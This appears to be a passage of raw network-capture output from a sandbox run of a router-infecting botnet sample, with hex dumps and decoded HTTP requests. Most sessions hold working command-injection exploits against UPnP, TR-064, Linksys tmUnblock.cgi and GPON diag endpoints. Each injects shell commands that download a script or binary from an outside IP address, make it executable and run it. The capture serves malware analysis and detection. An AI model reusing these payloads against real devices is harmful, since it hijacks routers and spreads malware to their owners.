6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.23	51008	38.154.9.141	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.104911089 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:54.209158897 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 12:18:34 GMT Content-Type: text/html Content-Length: 3157 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.23	35356	93.180.121.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.189548016 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.23	51228	104.24.180.144	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.193595886 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.23	49482	172.87.221.156	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.277534008 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:55.153214931 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:56.177090883 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.23	51156	119.210.70.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.323771000 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.23	51494	212.35.176.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.330946922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.23	38798	118.130.106.149	443

Timestamp	Bytes transferred	Direction	Data
